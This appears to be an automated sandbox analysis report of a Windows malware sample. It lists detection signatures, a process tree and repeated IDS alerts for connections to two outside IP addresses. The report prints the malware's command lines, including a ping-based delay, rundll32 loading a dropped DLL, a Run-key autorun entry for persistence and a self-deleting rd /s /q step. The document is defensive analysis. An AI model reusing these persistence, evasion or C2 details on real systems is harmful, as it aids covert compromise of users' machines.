Edit tour

Windows Analysis Report
otsIBG7J9b.exe

Overview

General Information

Sample name:	otsIBG7J9b.exe renamed because original name is a hash value
Original sample name:	04cc92b4e0f79ba841ba3c76651c8968d6525d4805829dd875f7a34034ffa460.exe
Analysis ID:	1573196
MD5:	8a971e9fe9fa2c3005ee1eb9c143b331
SHA1:	80260d696b4a945acddb747c3beb97604a060d70
SHA256:	04cc92b4e0f79ba841ba3c76651c8968d6525d4805829dd875f7a34034ffa460
Tags:	104-21-50-174exeuser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

AI detected suspicious sample

Connects to many ports of the same IP (likely port scanning)

Contains functionality to infect the boot sector

Creates an autostart registry key pointing to binary in C:\Windows

Deletes itself after installation

Found evasive API chain (may stop execution after checking mutex)

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries disk data (e.g. SMART data)

Uses known network protocols on non-standard ports

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Abnormal high CPU Usage

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

otsIBG7J9b.exe (PID: 3140 cmdline: "C:\Users\user\Desktop\otsIBG7J9b.exe" MD5: 8A971E9FE9FA2C3005EE1EB9C143B331)

cmd.exe (PID: 3652 cmdline: cmd.exe /c ping 127.0.0.1 -n 2&c:\ufcpp.exe "C:\Users\user\Desktop\otsIBG7J9b.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 2180 cmdline: ping 127.0.0.1 -n 2 MD5: B3624DD758CCECF93A1226CEF252CA12)

ufcpp.exe (PID: 2916 cmdline: c:\ufcpp.exe "C:\Users\user\Desktop\otsIBG7J9b.exe" MD5: 1B4C7D94BCF61F9CCE0B29C2D879EE73)

rundll32.exe (PID: 6644 cmdline: c:\windows\system32\rundll32.exe "c:\agtve\yhnvs.dll",init c:\ufcpp.exe MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 3384 cmdline: "C:\windows\SysWOW64\rundll32.exe" "c:\agtve\yhnvs.dll",init MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 7020 cmdline: cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\agtve" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 2996 cmdline: ping 127.0.0.1 -n 3 MD5: B3624DD758CCECF93A1226CEF252CA12)

rundll32.exe (PID: 6104 cmdline: "C:\windows\SysWOW64\rundll32.exe" "c:\agtve\yhnvs.dll",init MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 3732 cmdline: cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "c:\agtve" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 3756 cmdline: ping 127.0.0.1 -n 3 MD5: B3624DD758CCECF93A1226CEF252CA12)

cleanup

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: c:\windows\SysWOW64\rundll32.exe "c:\agtve\yhnvs.dll",init, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\rundll32.exe, ProcessId: 6644, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EvtMgr

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T16:24:39.390346+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49780	202.108.0.52	80	TCP
2024-12-11T16:24:42.096696+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49808	202.108.0.52	80	TCP
2024-12-11T16:24:46.116860+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49844	202.108.0.52	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T16:24:28.697302+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	64270	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49353	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49191	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	65253	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	64406	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	65101	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	64546	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	64868	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49188	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	64711	107.163.241.232	12354	TCP
2024-12-11T16:24:28.697302+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	64990	107.163.241.232	12354	TCP
2024-12-11T16:24:36.157878+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49753	107.163.241.232	12354	TCP
2024-12-11T16:24:36.157882+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49754	107.163.241.232	12354	TCP
2024-12-11T16:24:38.514508+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49771	107.163.241.232	12354	TCP
2024-12-11T16:24:38.518621+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49772	107.163.241.232	12354	TCP
2024-12-11T16:24:40.292310+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49788	107.163.241.232	12354	TCP
2024-12-11T16:24:40.292406+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49790	107.163.241.232	12354	TCP
2024-12-11T16:24:42.536858+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49805	107.163.241.232	12354	TCP
2024-12-11T16:24:42.643495+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49807	107.163.241.232	12354	TCP
2024-12-11T16:24:44.306708+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49823	107.163.241.232	12354	TCP
2024-12-11T16:24:44.306728+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49826	107.163.241.232	12354	TCP
2024-12-11T16:24:46.548874+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49842	107.163.241.232	12354	TCP
2024-12-11T16:24:46.661184+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49845	107.163.241.232	12354	TCP
2024-12-11T16:24:48.484657+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49861	107.163.241.232	12354	TCP
2024-12-11T16:24:48.490055+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49860	107.163.241.232	12354	TCP
2024-12-11T16:24:50.725707+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49873	107.163.241.232	12354	TCP
2024-12-11T16:24:50.878227+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49876	107.163.241.232	12354	TCP
2024-12-11T16:24:52.478623+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49895	107.163.241.232	12354	TCP
2024-12-11T16:24:52.478655+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49896	107.163.241.232	12354	TCP
2024-12-11T16:24:54.721811+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49910	107.163.241.232	12354	TCP
2024-12-11T16:24:54.834910+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49913	107.163.241.232	12354	TCP
2024-12-11T16:24:56.482117+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49932	107.163.241.232	12354	TCP
2024-12-11T16:24:56.482225+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49930	107.163.241.232	12354	TCP
2024-12-11T16:24:58.891215+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49947	107.163.241.232	12354	TCP
2024-12-11T16:24:58.891228+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49949	107.163.241.232	12354	TCP
2024-12-11T16:25:00.494438+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49971	107.163.241.232	12354	TCP
2024-12-11T16:25:00.494489+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49969	107.163.241.232	12354	TCP
2024-12-11T16:25:02.735683+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49985	107.163.241.232	12354	TCP
2024-12-11T16:25:02.844422+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49987	107.163.241.232	12354	TCP
2024-12-11T16:25:04.494699+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50008	107.163.241.232	12354	TCP
2024-12-11T16:25:04.494714+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50005	107.163.241.232	12354	TCP
2024-12-11T16:25:06.736002+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50024	107.163.241.232	12354	TCP
2024-12-11T16:25:06.842788+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50027	107.163.241.232	12354	TCP
2024-12-11T16:25:08.494548+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50048	107.163.241.232	12354	TCP
2024-12-11T16:25:08.494721+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50046	107.163.241.232	12354	TCP
2024-12-11T16:25:10.735319+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50064	107.163.241.232	12354	TCP
2024-12-11T16:25:10.845892+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50066	107.163.241.232	12354	TCP
2024-12-11T16:25:12.509947+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50088	107.163.241.232	12354	TCP
2024-12-11T16:25:12.509981+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50086	107.163.241.232	12354	TCP
2024-12-11T16:25:14.750650+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50104	107.163.241.232	12354	TCP
2024-12-11T16:25:14.860488+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50106	107.163.241.232	12354	TCP
2024-12-11T16:25:16.525402+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50131	107.163.241.232	12354	TCP
2024-12-11T16:25:16.525444+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50129	107.163.241.232	12354	TCP
2024-12-11T16:25:18.769808+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50147	107.163.241.232	12354	TCP
2024-12-11T16:25:18.876156+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50150	107.163.241.232	12354	TCP
2024-12-11T16:25:20.525455+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50175	107.163.241.232	12354	TCP
2024-12-11T16:25:20.525506+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50173	107.163.241.232	12354	TCP
2024-12-11T16:25:22.792505+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50192	107.163.241.232	12354	TCP
2024-12-11T16:25:22.891593+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50195	107.163.241.232	12354	TCP
2024-12-11T16:25:24.541239+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50226	107.163.241.232	12354	TCP
2024-12-11T16:25:24.541291+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50223	107.163.241.232	12354	TCP
2024-12-11T16:25:26.831324+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50240	107.163.241.232	12354	TCP
2024-12-11T16:25:26.945832+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50243	107.163.241.232	12354	TCP
2024-12-11T16:25:28.556573+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50270	107.163.241.232	12354	TCP
2024-12-11T16:25:28.556587+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50267	107.163.241.232	12354	TCP
2024-12-11T16:25:30.815887+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50295	107.163.241.232	12354	TCP
2024-12-11T16:25:30.908704+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50298	107.163.241.232	12354	TCP
2024-12-11T16:25:32.556917+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50324	107.163.241.232	12354	TCP
2024-12-11T16:25:32.556918+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50321	107.163.241.232	12354	TCP
2024-12-11T16:25:34.814073+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50356	107.163.241.232	12354	TCP
2024-12-11T16:25:34.907607+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50359	107.163.241.232	12354	TCP
2024-12-11T16:25:36.584446+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50389	107.163.241.232	12354	TCP
2024-12-11T16:25:36.584477+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50392	107.163.241.232	12354	TCP
2024-12-11T16:25:38.816702+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50423	107.163.241.232	12354	TCP
2024-12-11T16:25:38.938875+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50429	107.163.241.232	12354	TCP
2024-12-11T16:25:40.596717+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50470	107.163.241.232	12354	TCP
2024-12-11T16:25:40.599334+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50467	107.163.241.232	12354	TCP
2024-12-11T16:25:42.876772+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50500	107.163.241.232	12354	TCP
2024-12-11T16:25:43.036718+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50502	107.163.241.232	12354	TCP
2024-12-11T16:25:44.775395+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50563	107.163.241.232	12354	TCP
2024-12-11T16:25:44.775418+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50557	107.163.241.232	12354	TCP
2024-12-11T16:25:47.035608+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50618	107.163.241.232	12354	TCP
2024-12-11T16:25:47.128262+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50622	107.163.241.232	12354	TCP
2024-12-11T16:25:48.775656+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50692	107.163.241.232	12354	TCP
2024-12-11T16:25:48.775720+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50687	107.163.241.232	12354	TCP
2024-12-11T16:25:51.004471+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50748	107.163.241.232	12354	TCP
2024-12-11T16:25:51.130712+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50753	107.163.241.232	12354	TCP
2024-12-11T16:25:52.776134+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50835	107.163.241.232	12354	TCP
2024-12-11T16:25:52.776552+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50837	107.163.241.232	12354	TCP
2024-12-11T16:25:55.020598+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50912	107.163.241.232	12354	TCP
2024-12-11T16:25:55.128647+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50919	107.163.241.232	12354	TCP
2024-12-11T16:25:56.792472+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51050	107.163.241.232	12354	TCP
2024-12-11T16:25:56.792542+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51045	107.163.241.232	12354	TCP
2024-12-11T16:25:59.036648+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51141	107.163.241.232	12354	TCP
2024-12-11T16:25:59.143436+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51148	107.163.241.232	12354	TCP
2024-12-11T16:26:00.806896+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51284	107.163.241.232	12354	TCP
2024-12-11T16:26:00.806916+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51278	107.163.241.232	12354	TCP
2024-12-11T16:26:03.211497+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51378	107.163.241.232	12354	TCP
2024-12-11T16:26:03.212486+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51386	107.163.241.232	12354	TCP
2024-12-11T16:26:04.856856+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51468	107.163.241.232	12354	TCP
2024-12-11T16:26:04.856876+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51478	107.163.241.232	12354	TCP
2024-12-11T16:26:07.095423+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51568	107.163.241.232	12354	TCP
2024-12-11T16:26:07.224592+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51577	107.163.241.232	12354	TCP
2024-12-11T16:26:08.958613+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51666	107.163.241.232	12354	TCP
2024-12-11T16:26:08.958711+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51658	107.163.241.232	12354	TCP
2024-12-11T16:26:11.210836+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51739	107.163.241.232	12354	TCP
2024-12-11T16:26:11.312796+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51741	107.163.241.232	12354	TCP
2024-12-11T16:26:12.978532+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	52288	107.163.241.232	12354	TCP
2024-12-11T16:26:12.978584+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	52374	107.163.241.232	12354	TCP
2024-12-11T16:26:15.223621+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	53686	107.163.241.232	12354	TCP
2024-12-11T16:26:15.333014+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	53818	107.163.241.232	12354	TCP
2024-12-11T16:26:16.994407+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	55673	107.163.241.232	12354	TCP
2024-12-11T16:26:16.994437+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	55654	107.163.241.232	12354	TCP
2024-12-11T16:26:19.223527+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	56252	107.163.241.232	12354	TCP
2024-12-11T16:26:19.345466+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	56358	107.163.241.232	12354	TCP
2024-12-11T16:26:21.010412+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	57170	107.163.241.232	12354	TCP
2024-12-11T16:26:21.010454+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	57220	107.163.241.232	12354	TCP
2024-12-11T16:26:23.238351+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	58813	107.163.241.232	12354	TCP
2024-12-11T16:26:23.362542+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	58979	107.163.241.232	12354	TCP
2024-12-11T16:26:25.038176+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	60620	107.163.241.232	12354	TCP
2024-12-11T16:26:25.038237+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	60535	107.163.241.232	12354	TCP
2024-12-11T16:26:27.268715+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	62221	107.163.241.232	12354	TCP
2024-12-11T16:26:27.395525+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	62240	107.163.241.232	12354	TCP
2024-12-11T16:26:29.071484+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	64295	107.163.241.232	12354	TCP
2024-12-11T16:26:29.071661+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	64094	107.163.241.232	12354	TCP
2024-12-11T16:26:31.570223+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49297	107.163.241.232	12354	TCP
2024-12-11T16:26:31.596487+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49302	107.163.241.232	12354	TCP
2024-12-11T16:26:33.265013+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51043	107.163.241.232	12354	TCP
2024-12-11T16:26:33.265050+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51032	107.163.241.232	12354	TCP
2024-12-11T16:26:35.519152+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51600	107.163.241.232	12354	TCP
2024-12-11T16:26:35.783109+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	51644	107.163.241.232	12354	TCP
2024-12-11T16:26:37.467031+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	52742	107.163.241.232	12354	TCP
2024-12-11T16:26:37.467250+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	52531	107.163.241.232	12354	TCP
2024-12-11T16:26:39.736435+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	54225	107.163.241.232	12354	TCP
2024-12-11T16:26:39.814944+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	54301	107.163.241.232	12354	TCP
2024-12-11T16:26:41.479625+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	56134	107.163.241.232	12354	TCP
2024-12-11T16:26:41.479643+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	56227	107.163.241.232	12354	TCP
2024-12-11T16:26:43.723685+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	57709	107.163.241.232	12354	TCP
2024-12-11T16:26:43.830584+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	57840	107.163.241.232	12354	TCP
2024-12-11T16:26:45.494164+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	59956	107.163.241.232	12354	TCP
2024-12-11T16:26:45.494181+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	59963	107.163.241.232	12354	TCP
2024-12-11T16:26:47.737377+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	60164	107.163.241.232	12354	TCP
2024-12-11T16:26:47.847465+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	60300	107.163.241.232	12354	TCP
2024-12-11T16:26:49.510096+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	61535	107.163.241.232	12354	TCP
2024-12-11T16:26:49.510441+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	61430	107.163.241.232	12354	TCP
2024-12-11T16:26:51.739438+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	63248	107.163.241.232	12354	TCP
2024-12-11T16:26:51.862153+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	63325	107.163.241.232	12354	TCP
2024-12-11T16:26:53.525972+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	65122	107.163.241.232	12354	TCP
2024-12-11T16:26:53.526041+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	65178	107.163.241.232	12354	TCP
2024-12-11T16:26:55.752810+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50596	107.163.241.232	12354	TCP
2024-12-11T16:26:55.877516+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50672	107.163.241.232	12354	TCP
2024-12-11T16:26:57.529130+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	52411	107.163.241.232	12354	TCP
2024-12-11T16:26:57.529166+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	52408	107.163.241.232	12354	TCP
2024-12-11T16:26:59.768104+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	53875	107.163.241.232	12354	TCP
2024-12-11T16:26:59.878391+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	53961	107.163.241.232	12354	TCP
2024-12-11T16:27:01.656626+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	54958	107.163.241.232	12354	TCP
2024-12-11T16:27:01.656887+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	54837	107.163.241.232	12354	TCP
2024-12-11T16:27:04.130034+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	55711	107.163.241.232	12354	TCP
2024-12-11T16:27:04.418954+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	55703	107.163.241.232	12354	TCP
2024-12-11T16:27:05.778964+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	58094	107.163.241.232	12354	TCP
2024-12-11T16:27:05.778978+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	57677	107.163.241.232	12354	TCP
2024-12-11T16:27:08.096373+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	59142	107.163.241.232	12354	TCP
2024-12-11T16:27:08.236768+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	59184	107.163.241.232	12354	TCP
2024-12-11T16:27:09.807879+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	60899	107.163.241.232	12354	TCP
2024-12-11T16:27:09.808007+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	60763	107.163.241.232	12354	TCP
2024-12-11T16:27:12.081770+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	62496	107.163.241.232	12354	TCP
2024-12-11T16:27:12.205382+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	62586	107.163.241.232	12354	TCP
2024-12-11T16:27:13.975116+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	64312	107.163.241.232	12354	TCP
2024-12-11T16:27:13.975122+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	64241	107.163.241.232	12354	TCP
2024-12-11T16:27:16.222658+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	65063	107.163.241.232	12354	TCP
2024-12-11T16:27:16.377914+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	65171	107.163.241.232	12354	TCP
2024-12-11T16:27:18.155237+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49941	107.163.241.232	12354	TCP
2024-12-11T16:27:18.155581+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49778	107.163.241.232	12354	TCP
2024-12-11T16:27:20.403528+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50909	107.163.241.232	12354	TCP
2024-12-11T16:27:20.594775+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	50940	107.163.241.232	12354	TCP
2024-12-11T16:27:22.361344+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	53079	107.163.241.232	12354	TCP
2024-12-11T16:27:22.361485+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	52883	107.163.241.232	12354	TCP
2024-12-11T16:27:24.722318+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	54632	107.163.241.232	12354	TCP
2024-12-11T16:27:24.737087+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	54647	107.163.241.232	12354	TCP
2024-12-11T16:27:26.488187+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	56578	107.163.241.232	12354	TCP
2024-12-11T16:27:26.488330+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	56499	107.163.241.232	12354	TCP
2024-12-11T16:27:28.906358+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	57853	107.163.241.232	12354	TCP
2024-12-11T16:27:28.910306+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	57918	107.163.241.232	12354	TCP
2024-12-11T16:27:30.644850+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	59080	107.163.241.232	12354	TCP
2024-12-11T16:27:30.644850+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	59082	107.163.241.232	12354	TCP
2024-12-11T16:27:32.880265+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	60079	107.163.241.232	12354	TCP
2024-12-11T16:27:33.003061+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	60227	107.163.241.232	12354	TCP
2024-12-11T16:27:34.878143+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	61240	107.163.241.232	12354	TCP
2024-12-11T16:27:34.882344+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	61332	107.163.241.232	12354	TCP
2024-12-11T16:27:37.224816+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	62610	107.163.241.232	12354	TCP
